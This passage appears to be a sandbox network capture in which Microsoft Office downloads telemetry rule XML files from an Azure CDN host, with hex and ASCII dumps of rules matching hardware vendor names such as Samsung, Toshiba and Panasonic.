2024-11-12 01:14:06 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:06 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:06 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d33f60ae-f01e-0085-74ec-2b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011406Z-16547b76f7fcjqqhhC1DFWrrrc0000000eyg000000007khm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:06 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:06 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 2361c5fe-901e-0064-45f6-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011406Z-16547b76f7fr28cchC1DFWnuws0000000f3g0000000049fw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:07 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:07 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:07 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65394723-101e-00a2-80f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011407Z-16547b76f7f67wxlhC1DFWah9w0000000f00000000002882 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:07 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:07 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:07 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 0559421d-e01e-000c-5ba0-348e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011407Z-17df447cdb5fzdpxhC1DFWdd340000000bk0000000001fu7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:07 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:07 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:07 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 03686dcf-301e-0099-31a0-346683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011407Z-17df447cdb5g2j9ghC1DFWuyag00000005h0000000003ww2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:07 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:07 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 1d5973b4-701e-0050-2a24-326767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011407Z-16547b76f7fp46ndhC1DFW66zg0000000ewg00000000r2zm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:07 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:08 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:07 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5d06d88c-b01e-0084-0908-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011407Z-16547b76f7fcrtpchC1DFW52e80000000ew000000000r97r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:08 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:08 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:08 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:08 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: de083b16-101e-0079-14f1-2c5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011408Z-16547b76f7f9bs6dhC1DFWt3rg0000000ev000000000kfzn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:08 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:08 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:08 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 5703d523-f01e-005d-32a0-3413ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011408Z-15869dbbcc6r45wghC1DFWk35n000000024g0000000027cg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:08 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:08 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:08 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 74ac5a2e-001e-0066-5da0-34561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011408Z-15869dbbcc6lxrkghC1DFWqpdc00000007b0000000005nd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:08 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:08 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:08 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:08 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: aa5f00e8-901e-0029-53a0-34274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011408Z-17df447cdb57g7m7hC1DFW791s0000000b5000000000t5vs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:08 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:08 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
